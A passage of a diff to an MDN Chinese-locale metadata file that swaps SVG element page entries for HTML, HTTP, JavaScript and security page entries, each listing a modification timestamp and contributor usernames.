}, - "Web/SVG/Element/feConvolveMatrix": { - "modified": "2019-08-01T01:30:07.081Z", + "Web/Guide/HTML/Editable_content": { + "modified": "2020-09-22T00:31:12.632Z", "contributors": [ - "liyongleihf2006", - "Sebastianz", - "fanxiaojie" + "imarco", + "YogurtQ", + "xianghui-ma", + "Hew007", + "zhuangyin", + "jamesxu", + "ziyunfei", + "teoli", + "sunnylost", + "ethertank" ] }, - "Web/SVG/Element/feDiffuseLighting": { - "modified": "2019-03-23T22:46:38.862Z", + "Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla": { + "modified": "2019-11-25T00:57:33.951Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "gao5252", + "SphinxKnight", + "chrisdavidmills", + "sijinglei", + "doodlewind", + "zezhou", + "Cbgrape", + "Teago" ] }, - "Web/SVG/Element/feDisplacementMap": { - "modified": "2019-03-23T22:46:34.138Z", + "orphaned/Learn/HTML/Forms/HTML5_updates": { + "modified": "2019-03-23T23:33:41.492Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "huozicheng", + "xgqfrms-GitHub", + "ziyunfei", + "teoli", + "sunnylost", + "jtyjty99999" ] }, - "Web/SVG/Element/feDistantLight": { - "modified": "2019-03-23T22:46:37.517Z", + "orphaned/Web/Guide/HTML/HTML": { + "modified": "2019-06-25T10:18:27.080Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "xiajun1996", + "ziyunfei", + "zzangxu" ] }, - "Web/SVG/Element/feFlood": { - "modified": "2019-03-23T22:46:31.627Z", + "Web/Guide/HTML/Using_HTML_sections_and_outlines": { + "modified": "2019-03-21T10:38:08.111Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "jimmy-sum", + "VdoG", + "StarXY", + "kevinfszu", + "mengzyou", + "xuexiaocai" ] }, - "Web/SVG/Element/feFuncA": { - "modified": "2020-10-15T21:39:23.537Z", + "Learn/HTML/Howto/Author_fast-loading_HTML_pages": { + "modified": "2020-07-16T22:22:33.856Z", "contributors": [ - "RainSlide", - "Sebastianz", - "fanxiaojie" + "Dorence", + "Banhave", + "boltyu", + "TheaAo", + "wth", + "Samoay", + "ziyunfei", + "Y001", + "Mgjbot", + "Carrie zhxj" ] }, - "Web/SVG/Element/feFuncB": { - "modified": "2019-03-23T22:46:38.185Z", + "Learn/HTML/Howto/Use_data_attributes": { + "modified": "2020-07-16T22:22:37.588Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "zhangchen", + "hhxxhg", + "lavenderming", + "xgqfrms-GitHub", + "hellotaotao", + "Go7hic", + "marshalYuan", + "monjer", + "Deryckxie" ] }, - "Web/SVG/Element/feFuncG": { - "modified": "2019-03-23T22:46:32.939Z", + "Web/HTML/Attributes/autocomplete": { + "modified": "2020-10-15T22:25:13.539Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Element/feFuncR": { - "modified": "2019-03-23T22:46:31.912Z", + "Web/HTML/Attributes/crossorigin": { + "modified": "2019-11-26T01:56:32.661Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "wangjian", + "Melo.HG", + "xgqfrms-GitHub", + "mygaochunming", + "xgqfrms", + "kmc947373" ] }, - "Web/SVG/Element/feGaussianBlur": { - "modified": "2019-03-23T22:46:35.725Z", + "Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video": { + "modified": "2019-12-03T21:07:25.830Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "guow10", + "xcffl" ] }, - "Web/SVG/Element/feImage": { - "modified": "2019-03-23T22:46:35.585Z", + "orphaned/Web/HTML/Element/command": { + "modified": "2019-03-18T20:43:33.481Z", "contributors": [ - "AaronYehf", - "Sebastianz", - "fanxiaojie" + "wbamberg", + "practicemp", + "ziyunfei" ] }, - "Web/SVG/Element/feMerge": { - "modified": "2019-03-23T22:46:36.019Z", + "orphaned/Web/HTML/Element/element": { + "modified": "2019-03-23T22:13:42.917Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "angelllls" ] }, - "Web/SVG/Element/feMergeNode": { - "modified": "2019-03-23T22:46:29.748Z", + "Web/HTML/Element/input/month": { + "modified": "2020-10-15T21:57:03.537Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "AliasZet" ] }, - "Web/SVG/Element/feMorphology": { - "modified": "2019-03-23T22:51:21.184Z", + "Web/HTML/Element/input/range": { + "modified": "2020-10-15T22:25:22.859Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "foolof41" + "q.z", + "hzy", + "pans9" ] }, - "Web/SVG/Element/feOffset": { - "modified": "2019-03-23T22:46:37.362Z", + "orphaned/Web/HTML/Global_attributes/dropzone": { + "modified": "2019-03-23T22:10:15.156Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "wizardforcel" ] }, - "Web/SVG/Element/fePointLight": { - "modified": "2019-03-23T22:46:33.171Z", + "Web/HTML/Global_attributes/x-ms-acceleratorkey": { + "modified": "2019-12-03T17:45:24.248Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Element/feSpecularLighting": { - "modified": "2019-03-23T22:46:21.088Z", + "Web/HTML/Global_attributes/x-ms-format-detection": { + "modified": "2019-12-03T17:54:04.795Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Element/feSpotLight": { - "modified": "2019-03-23T22:46:30.010Z", + "Glossary/speculative_parsing": { + "modified": "2019-03-23T22:46:26.910Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "huangcheng", + "ziyunfei", + "mengshukun" ] }, - "Web/SVG/Element/feTile": { - "modified": "2019-03-23T22:46:20.383Z", + "Web/HTTP/CORS": { + "modified": "2020-11-30T22:27:21.749Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "seawaywen", + "fuweichin", + "jsonz1993", + "shens3", + "chanvin", + "SirnoChan", + "skywalker_z", + "Noodles006", + "yantong", + "hansnow", + "leoxiao2012", + "kunyaoxu", + "zjffun", + "show-rosarugosa", + "hnzxmutex", + "miuchan", + "ChenShihao", + "alvan", + "BobGreen", + "jiladahe1997", + "ErCargo", + "s1len0eye", + "zhang-hongwei", + "zthxxx", + "NineRec", + "recursion", + "libmw", + "bestvow", + "JuFoFu", + "xgqfrms-GitHub", + "bigZ-again", + "yuankunzhang", + "FideoJ", + "AlenQi", + "Ende93", + "wanglijie", + "yumingzhe", + "mygaochunming", + "Marcia_gm", + "xgqfrms", + "ybwdaisy", + "fjywan", + "holynewbie", + "gqqnbig", + "EdwardStudy", + "ssjssh", + "Kevin-Xi", + "8427003", + "Meteormatt", + "OOP-Code-Bunny", + "CManLH", + "qiumaoyuan" ] }, - "Web/SVG/Element/feTurbulence": { - "modified": "2019-03-23T22:46:22.298Z", + "Web/HTTP/Caching": { + "modified": "2020-07-01T23:23:40.319Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "qnlz", + "xgqfrms", + "yqz0203", + "oppoffice", + "SAM.L", + "baijingfeng", + "YongzeYao", + "immortal-wm", + "YiBanCangBai", + "2585479524", + "fanjieqi", + "BobGreen", + "athena0304", + "dgeibi", + "cielsk", + "tianyuqingkong", + "xiaohp", + "tiancaiwuyue", + "hiyoushu", + "ch-zgh-1993", + "marsoln", + "wanglijie", + "xx1124961758", + "onedaywen", + "shengoo", + "sunnylost", + "followgiant", + "ziyunfei" ] }, - "Web/SVG/Element/filter": { - "modified": "2020-07-14T05:46:35.376Z", + "Web/HTTP/Content_negotiation/List_of_default_Accept_values": { + "modified": "2019-03-18T21:35:18.474Z", "contributors": [ - "Yang_Gia", - "Sebastianz", - "fanxiaojie" + "heekei" ] }, - "Web/SVG/Element/font": { - "modified": "2019-03-23T22:43:54.105Z", + "Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials": { + "modified": "2020-09-18T12:19:26.611Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "charlie" + "Cooper-Kou" ] }, - "Web/SVG/Element/font-face": { - "modified": "2019-03-23T23:04:56.439Z", + "Web/HTTP/Basics_of_HTTP/Data_URIs": { + "modified": "2020-10-15T21:06:54.948Z", "contributors": [ - "Sebastianz", - "charlie" + "leegent", + "2585479524", + "BobGreen", + "bramblex", + "tlos142857", + "Ende93", + "xgqfrms-GitHub", + "little-tomorrow", + "ziyunfei" ] }, - "Web/SVG/Element/font-face-format": { - "modified": "2019-03-23T22:46:32.676Z", + "Web/HTTP/Headers/Strict-Transport-Security": { + "modified": "2020-11-19T14:34:26.997Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "chrisdavidmills", + "sunbeams001", + "kidonng", + "Jack.Works", + "zhangzhen", + "ToBo", + "udo-china", + "zhangchen", + "little-tomorrow", + "Eward.song" ] }, - "Web/SVG/Element/font-face-name": { - "modified": "2019-03-23T22:46:33.056Z", + "Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file": { + "modified": "2020-10-30T02:28:12.093Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "StudentMain", + "Nishikinor", + "DuckSoft", + "Futrime", + "hryen", + "RainSlide", + "maber", + "cnryb", + "archerc", + "msy" ] }, - "Web/SVG/Element/font-face-src": { - "modified": "2019-03-18T20:41:42.540Z", + "Web/HTTP/Headers/X-Frame-Options": { + "modified": "2020-10-15T21:31:36.643Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "Soyaine", + "Fiag" ] }, - "Web/SVG/Element/font-face-uri": { - "modified": "2019-03-23T22:46:38.431Z", + "Web/HTTP/Feature_Policy": { + "modified": "2020-10-15T22:13:12.541Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "xiaomaokeke", + "chenqingyue", + "RainSlide", + "joechan" ] }, - "Web/SVG/Element/foreignObject": { - "modified": "2020-10-15T21:39:29.342Z", + "Web/HTTP/Feature_Policy/Using_Feature_Policy": { + "modified": "2019-05-06T05:13:36.251Z", "contributors": [ - "hanjc1993", - "cnhekai", - "zhangchen", - "kamilic", - "Sebastianz", - "fanxiaojie" + "roostinghawk" ] }, - "Web/SVG/Element/g": { - "modified": "2019-03-23T22:55:45.907Z", + "orphaned/Web/HTTP/跨域资源共享(CORS)_": { + "modified": "2020-10-15T22:28:24.198Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "monjer" + "huangjihua" ] }, - "Web/SVG/Element/glyph": { - "modified": "2019-03-23T22:55:52.238Z", + "Web/JavaScript/Guide/Regular_Expressions/Quantifiers": { + "modified": "2020-06-28T13:50:25.946Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "charlie" + "srq18211" ] }, - "Web/SVG/Element/glyphRef": { - "modified": "2019-03-23T22:46:32.815Z", + "Web/XPath/Introduction_to_using_XPath_in_JavaScript": { + "modified": "2019-03-23T23:53:50.408Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "chrisdavidmills", + "zhanglianxin", + "zengguanming", + "fscholz", + "ziyunfei", + "Cuimingda" ] }, - "Web/SVG/Element/hkern": { - "modified": "2019-03-23T22:46:35.411Z", + "orphaned/Web/JavaScript/javascript(起步)": { + "modified": "2019-03-23T22:54:49.824Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Rupengkun" ] }, - "Web/SVG/Element/image": { - "modified": "2019-03-23T23:07:18.007Z", + "Web/JavaScript/Reference/Classes/Public_class_fields": { + "modified": "2020-10-15T22:22:33.437Z", "contributors": [ - "tjyas", - "Sebastianz", - "fanxiaojie", - "lrz8745", - "cuixiping" + "Fogwind", + "wxyads" ] }, - "Web/SVG/Element/line": { - "modified": "2019-07-31T04:23:35.374Z", + "Web/JavaScript/Reference/Errors/Cant_assign_to_property": { + "modified": "2020-03-12T19:49:02.016Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie" + "mysteriousfather" ] }, - "Web/SVG/Element/linearGradient": { - "modified": "2019-07-01T05:50:18.527Z", + "orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype": { + "modified": "2020-10-15T21:25:06.780Z", "contributors": [ - "Sebastianz", - "fanxiaojie", + "TonyYu2015", + "fscholz", + "abc45628", + "xgqfrms-GitHub", + "micheal-death", "ziyunfei", - "xile611" + "WangXiZhu", + "zhen", + "pd4d10", + "teoli", + "charlie", + "andy12530", + "sleepholic" ] }, - "Web/SVG/Element/marker": { - "modified": "2019-03-23T23:03:51.340Z", + "orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype": { + "modified": "2020-10-15T21:51:59.203Z", "contributors": [ - "wbamberg", - "liyongleihf2006", - "Sebastianz", - "fanxiaojie", - "fonglezen" + "daijie", + "fscholz", + "wizardforcel", + "xygcxy" ] }, - "Web/SVG/Element/mask": { - "modified": "2019-03-23T23:03:51.605Z", + "orphaned/Web/JavaScript/Reference/Global_Objects/AsyncIterator": { + "modified": "2020-10-15T22:28:09.380Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "fonglezen" + "lxuewu" ] }, - "Web/SVG/Element/metadata": { - "modified": "2019-03-23T22:46:43.887Z", + "Web/JavaScript/Reference/Global_Objects/Math/acosh": { + "modified": "2020-10-15T21:50:09.940Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Dorence", + "wizardforcel", + "LiuYuan" ] }, - "Web/SVG/Element/missing-glyph": { - "modified": "2019-03-23T23:04:57.001Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply": { + "modified": "2020-10-15T21:46:28.417Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "fonglezen", - "charlie" + "ngtmuzi", + "wtZZx" ] }, - "Web/SVG/Element/mpath": { - "modified": "2019-03-23T22:46:38.309Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct": { + "modified": "2020-10-15T21:56:26.489Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "dickenslian", + "DuLinRain" ] }, - "Web/SVG/Element/path": { - "modified": "2019-03-23T23:07:18.417Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty": { + "modified": "2019-07-17T00:09:33.026Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "cuixiping" + "accountwind", + "Illyrix" ] }, - "Web/SVG/Element/pattern": { - "modified": "2019-03-23T23:03:50.981Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty": { + "modified": "2019-03-23T22:18:37.010Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "fonglezen" + "Illyrix" ] }, - "Web/SVG/Element/polygon": { - "modified": "2019-03-23T23:13:30.746Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get": { + "modified": "2019-03-23T22:32:42.643Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "ziyunfei", - "fly-bird" + "Shigma", + "ngtmuzi" ] }, - "Web/SVG/Element/polyline": { - "modified": "2019-03-23T22:57:44.713Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor": { + "modified": "2019-07-28T23:51:58.213Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "e26h" + "darkmirrors", + "EPSON-LEE", + "Hushabyme" ] }, - "Web/SVG/Element/radialGradient": { - "modified": "2020-10-15T21:39:21.881Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf": { + "modified": "2020-10-15T21:32:20.694Z", "contributors": [ - "realstephenzhao", - "Sebastianz", - "fanxiaojie" + "RainSlide", + "OStoneO", + "SphinxKnight", + "ziyunfei" ] }, - "Web/SVG/Element/rect": { - "modified": "2019-03-23T22:57:44.926Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has": { + "modified": "2019-08-25T22:51:33.932Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "e26h" + "wonschangge", + "EPSON-LEE", + "Hearmen" ] }, - "Web/SVG/Element/script": { - "modified": "2019-03-23T22:46:33.996Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible": { + "modified": "2020-10-15T21:59:04.944Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "wonschangge", + "cxftj" ] }, - "Web/SVG/Element/set": { - "modified": "2019-08-05T06:51:54.590Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys": { + "modified": "2019-08-25T23:12:08.688Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "wonschangge", + "daiqingyun", + "DuLinRain" ] }, - "Web/SVG/Element/stop": { - "modified": "2019-03-23T22:46:37.919Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions": { + "modified": "2020-10-15T21:59:08.645Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "jinwanmian", + "wonschangge", + "zxh19890103", + "RoXoM", + "varcat" ] }, - "Web/SVG/Element/style": { - "modified": "2019-03-23T22:46:35.874Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set": { + "modified": "2020-10-15T21:46:38.211Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "wonschangge", + "wtZZx", + "ngtmuzi" ] }, - "Web/SVG/Element/svg": { - "modified": "2019-03-23T23:03:45.347Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf": { + "modified": "2020-10-15T21:59:05.778Z", "contributors": [ - "alphabet007", - "liyongleihf2006", - "Sebastianz", - "fanxiaojie", - "charlie", - "fonglezen" + "varcat" ] }, - "Web/SVG/Element/switch": { - "modified": "2019-03-23T23:03:50.332Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods": { + "modified": "2020-09-02T03:21:36.745Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "fonglezen" + "tita0x00" ] }, - "Web/SVG/Element/symbol": { - "modified": "2019-03-23T23:05:34.325Z", + "Web/JavaScript/Reference/Global_Objects/String/trimStart": { + "modified": "2020-10-15T21:07:56.369Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "RainSlide", + "SageX", + "zhangchen", + "xgqfrms-GitHub", + "teoli", + "ziyunfei" ] }, - "Web/SVG/Element/text": { - "modified": "2019-03-23T23:05:43.568Z", + "Web/JavaScript/Reference/Global_Objects/String/trimEnd": { + "modified": "2020-10-15T21:07:55.509Z", "contributors": [ - "Sebastianz", - "jyy12", - "fanxiaojie", - "charlie", - "baiya" + "SageX", + "zhangchen", + "teoli", + "Ende93", + "xgqfrms-GitHub", + "ziyunfei" ] }, - "Web/SVG/Element/textPath": { - "modified": "2019-03-23T23:05:43.375Z", + "Web/JavaScript/Reference/Operators/async_function": { + "modified": "2020-10-15T21:51:08.469Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "Terry.Qiao", + "fphonor", + "xgqfrms-GitHub", + "x-cold", + "Rusion-Wayne" ] }, - "Web/SVG/Element/title": { - "modified": "2019-03-23T22:46:43.066Z", + "Web/JavaScript/Reference/Operators/Remainder": { + "modified": "2020-10-15T22:30:57.453Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "parabolazz" ] }, - "Web/SVG/Element/tref": { - "modified": "2019-03-23T23:05:44.122Z", + "Web/JavaScript/Reference/Operators/Optional_chaining": { + "modified": "2020-11-05T00:32:59.486Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "MinimalistYing", + "xgqfrms", + "RainSlide", + "zhangchen", + "Coink", + "daolanfler", + "lmislm", + "Ende93", + "wsv587" ] }, - "Web/SVG/Element/tspan": { - "modified": "2019-03-23T23:29:30.380Z", + "Web/JavaScript/Reference/Operators/Bitwise_AND": { + "modified": "2020-10-15T22:33:57.582Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "teoli", - "flyonok" + "hellorayza" ] }, - "Web/SVG/Element/use": { - "modified": "2019-03-23T22:46:45.349Z", + "Web/JavaScript/Reference/Operators/Addition": { + "modified": "2020-10-15T22:31:36.619Z", "contributors": [ - "Sebastianz", - "ObooChin", - "fanxiaojie" + "lws123321", + "Spengh" ] }, - "Web/SVG/Element/view": { - "modified": "2019-06-15T03:14:56.821Z", + "Web/JavaScript/Reference/Operators/Equality": { + "modified": "2020-10-28T03:33:52.196Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "SphinxKnight", + "thefirst-ma", + "zhangchen", + "lujing2", + "milulelele" ] }, - "Web/SVG/Element/vkern": { - "modified": "2020-10-15T21:39:26.145Z", + "Web/JavaScript/Reference/Operators/Pipeline_operator": { + "modified": "2020-10-15T21:59:15.552Z", "contributors": [ "RainSlide", - "Sebastianz", - "fanxiaojie" + "fsy0718", + "zhangchen", + "qdlaoyao", + "fphonor" ] }, - "Web/SVG/Linking": { - "modified": "2019-11-28T05:35:16.253Z", + "Web/JavaScript/Reference/Operators/Decrement": { + "modified": "2020-10-15T22:33:30.374Z", "contributors": [ - "tangguolong" + "helsmy" ] }, - "Web/SVG/Namespaces_Crash_Course": { - "modified": "2019-10-11T20:02:55.677Z", + "Web/JavaScript/Reference/Operators/Logical_AND": { + "modified": "2020-10-15T22:32:55.133Z", "contributors": [ - "pacexy", - "cyemeng", - "876843240", - "RongMine", - "Ljrou", - "charlie" + "matsongajapan" ] }, - "Web/SVG/SVG_1.1_Support_in_Firefox": { - "modified": "2019-03-23T22:52:10.546Z", + "Web/JavaScript/Reference/Template_literals": { + "modified": "2020-10-15T21:37:03.468Z", "contributors": [ - "Kylexii", - "sunxiang", - "ziyunfei", - "lunix01" + "SphinxKnight", + "fanky-huang", + "崮生", + "zhangchen", + "zouyang1230", + "aimishan", + "pujiaxun", + "ZQH", + "LNY", + "ywjco", + "winjeysong", + "xgqfrms-GitHub", + "lihx_hit", + "donyaw", + "Ende93", + "lukywong", + "FredWe" ] }, - "Web/SVG/SVG_animation_with_SMIL": { - "modified": "2019-03-23T22:46:05.864Z", + "Web/JavaScript/The_performance_hazards_of_prototype_mutation": { + "modified": "2020-03-12T19:49:00.824Z", "contributors": [ - "WindStormrage", - "fscholz", - "Jackandjohn", - "fanxiaojie" + "Rominez", + "suhan" ] }, - "Web/SVG/SVG_as_an_Image": { - "modified": "2019-03-23T22:46:05.004Z", + "orphaned/Web/Localization": { + "modified": "2020-05-28T07:36:01.726Z", "contributors": [ - "fanxiaojie" + "RoyZ", + "faliye" ] }, - "Web/SVG/Tutorial": { - "modified": "2019-08-15T22:27:47.736Z", + "Web/Media/Formats/Video_codecs": { + "modified": "2019-10-29T00:53:07.418Z", "contributors": [ - "AngelName", - "Pehfan", - "simongfxu", - "xgqfrms", - "fanxiaojie", - "charlie", - "teoli", - "ziyunfei", - "Dx.Yang" + "zxhaha" ] }, - "Web/SVG/Tutorial/Basic_Shapes": { - "modified": "2020-05-17T23:40:20.747Z", + "Web/Performance/How_browsers_work": { + "modified": "2020-04-02T13:24:16.615Z", "contributors": [ - "nyz123", - "0229xiang", - "851091009", - "VicYu", - "fanxiaojie", - "zldream1106", - "act262" + "Galaxy" ] }, - "Web/SVG/Tutorial/Basic_Transformations": { - "modified": "2019-03-23T22:46:26.560Z", + "Web/Progressive_web_apps/Loading": { + "modified": "2019-08-31T10:29:37.985Z", "contributors": [ - "fanxiaojie" + "githubxiaominge" ] }, - "Web/SVG/Tutorial/Clipping_and_masking": { - "modified": "2020-05-16T12:44:05.454Z", + "Web/Progressive_web_apps/Add_to_home_screen": { + "modified": "2019-11-13T02:27:54.714Z", "contributors": [ - "Yayure", - "hebby", - "chenronghui", - "zhangyifan", - "fanxiaojie" + "JC-Ge" ] }, - "Web/SVG/Tutorial/Fills_and_Strokes": { - "modified": "2019-07-02T00:36:20.256Z", + "orphaned/Web/Security/Information_Security_Basics": { + "modified": "2020-04-29T06:01:25.213Z", "contributors": [ - "0229xiang", - "ZhengYinBo", - "fanxiaojie", - "act262" + "shellway", + "fanyj1994", + "ivydom", + "wth" ] }, - "Web/SVG/Tutorial/Filter_effects": { - "modified": "2020-05-16T13:46:25.008Z", + "Learn/Server-side/Configuring_server_MIME_types": { + "modified": "2020-07-16T22:36:04.639Z", "contributors": [ - "Yayure", - "knightyun", - "ZeroJsus", - "fanxiaojie" + "wangxu1144", + "Roscoe93", + "651291702" ] }, - "Web/SVG/Tutorial/Getting_Started": { - "modified": "2020-02-19T07:42:57.768Z", + "Web/Security/Transport_Layer_Security": { + "modified": "2020-05-16T23:45:09.100Z", "contributors": [ - "Jamie0327", - "qinggge", - "SallyOne", - "maozhenhua2", - "shuihuo", - "SparrowLiu", - "fanxiaojie", - "dolphinX" + "Unequaled804", + "msforest" ] }, - "Web/SVG/Tutorial/Gradients": { - "modified": "2019-03-23T22:50:18.555Z", + "Web/Security/Subresource_Integrity": { + "modified": "2020-06-01T06:08:59.407Z", "contributors": [ - "fanxiaojie", - "ziyunfei", - "zldream1106" + "asmoker", + "chenqingyue", + "maicss", + "kingcc", + "Roland_Reed", + "xgqfrms-GitHub" ] }, - "Web/SVG/Tutorial/Introduction": { - "modified": "2020-06-30T12:46:55.614Z", + "Web/SVG/Attribute/text-anchor": { + "modified": "2019-03-23T22:22:02.773Z", "contributors": [ - "antimonyGu", - "Jamie0327", - "daGaiGuanYu", - "XHMM", - "ZeroJsus", - "shuihuo", - "ezirmusitua", - "xgqfrms", - "fanxiaojie", - "charlie", - "teoli", - "ziyunfei", - "Dx.Yang" + "AozakiOrenji", + "yashuer" ] }, - "Web/SVG/Tutorial/Other_content_in_SVG": { - "modified": "2020-05-16T13:02:06.652Z", + "Web/SVG/Attribute/Styling": { + "modified": "2020-10-15T22:10:48.584Z", "contributors": [ - "Yayure", - "fanxiaojie" + "liu3329" ] }, - "Web/SVG/Tutorial/Paths": { - "modified": "2020-10-26T07:22:08.293Z", + "Web/Web_Components/HTML_Imports": { + "modified": "2020-10-15T21:47:50.577Z", "contributors": [ - "WindStormrage", - "esc", - "xgqfrms", - "chenyang", - "hebby", - "mochase", - "xianshenglu", - "vlaw", - "fanxiaojie", - "AnnGing", - "teoli", - "ziyunfei" + "2A5F", + "xgqfrms-GitHub", + "jchnxu" ] }, - "Web/SVG/Tutorial/Patterns": { - "modified": "2020-05-04T00:26:06.468Z", + "orphaned/Web/Web_Components/Status_in_Firefox": { + "modified": "2019-03-23T22:21:10.569Z", "contributors": [ - "knightyun", - "fanxiaojie", - "zldream1106" + "mx601595686" ] }, - "Web/SVG/Tutorial/Positions": { - "modified": "2019-06-07T11:18:02.352Z", + "Web/XSLT/Element": { + "modified": "2019-03-24T00:03:10.744Z", "contributors": [ - "ymjrcc", - "fanxiaojie", - "BlackGlory", - "jiraiya", - "teoli", - "ziyunfei" + "ziyunfei", + "fscholz", + "Freeopen" ] }, - "Web/SVG/Tutorial/SVG_Image_Tag": { - "modified": "2019-03-23T22:46:20.960Z", + "Web/Media/Autoplay_guide": { + "modified": "2020-11-19T04:43:44.047Z", "contributors": [ - "fanxiaojie" + "avrinfly", + "baijingfeng" ] }, - "Web/SVG/Tutorial/SVG_In_HTML_Introduction": { - "modified": "2019-10-30T00:49:48.215Z", + "Web/Media": { + "modified": "2019-08-30T07:28:45.901Z", "contributors": [ - "donley828", - "crazy_rat", - "chrisdavidmills", - "zldream1106", - "lunix01" + "Jwenee", + "Forbidden" + ] + }, + "Web/Demos_of_open_web_technologies": { + "modified": "2019-09-04T03:32:34.828Z", + "contributors": [ + "RainSlide", + "yzweb2018", + "nanflower", + "Vevlins", + "wth", + "awesomeric" ] }, - "Web/SVG/Tutorial/SVG_fonts": { - "modified": "2019-03-23T22:46:23.842Z", + "Web/API/File_and_Directory_Entries_API/Introduction": { + "modified": "2019-03-23T23:31:18.012Z", "contributors": [ - "fanxiaojie" + "JobbyM", + "ziyunfei", + "james.li" ] }, - "Web/SVG/Tutorial/Texts": { - "modified": "2020-07-06T07:25:02.894Z", + "Web/API/WebRTC_API/Session_lifetime": { + "modified": "2019-07-15T23:54:09.891Z", "contributors": [ - "zch233", - "fsx950223", - "fanxiaojie", - "FEbyland" + "qs3673132", + "Xiaosha61", + "Move", + "acgeeker" ] }, - "Web/SVG/Tutorial/Tools_for_SVG": { - "modified": "2019-03-23T22:46:28.488Z", + "Web/Guide/WOFF": { + "modified": "2020-10-15T21:07:54.753Z", "contributors": [ - "fanxiaojie" + "zhangchen", + "MingxunBai", + "fscholz", + "ziyunfei" ] }, - "Web/Security": { - "modified": "2019-09-10T16:49:46.462Z", + "Glossary/XHTML": { + "modified": "2019-03-23T23:53:05.465Z", "contributors": [ - "SphinxKnight", - "cooldrivez", - "zhangppbb", - "RainSlide", - "msforest", - "Vivi-wu", + "SQibang", "ziyunfei", - "Breezewish", - "Freeopen" + "Jiangyuanmil", + "Jiao7zhe8", + "Unest" ] }, - "Web/Security/CSP": { - "modified": "2019-08-30T07:28:26.257Z", + "Web/API/XMLSerializer": { + "modified": "2020-10-15T21:14:45.671Z", "contributors": [ + "leeleee", + "zhangchen", "ziyunfei", - "Breezewish", - "zhangzipeng", - "R00tgrok" + "teoli", + "zchong1022" ] }, - "Web/Security/CSP/Introducing_Content_Security_Policy": { - "modified": "2019-08-30T07:28:05.612Z", + "Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces": { + "modified": "2020-10-08T06:13:28.865Z", "contributors": [ - "LeonDWong", - "lcxfs1991", - "Breezewish", - "ziyunfei" + "ruiyang0012", + "crowphy", + "newued", + "helloguangxue", + "Jcrjia", + "Transfan", + "Laser", + "Carrie zhxj", + "Mgjbot", + "Surfchen", + "Kakurady", + "Heagle" ] }, - "Web/Security/CSP/Using_CSP_violation_reports": { - "modified": "2019-03-23T23:03:20.586Z", + "conflicting/Glossary/Chrome": { + "modified": "2019-03-23T23:52:52.388Z", 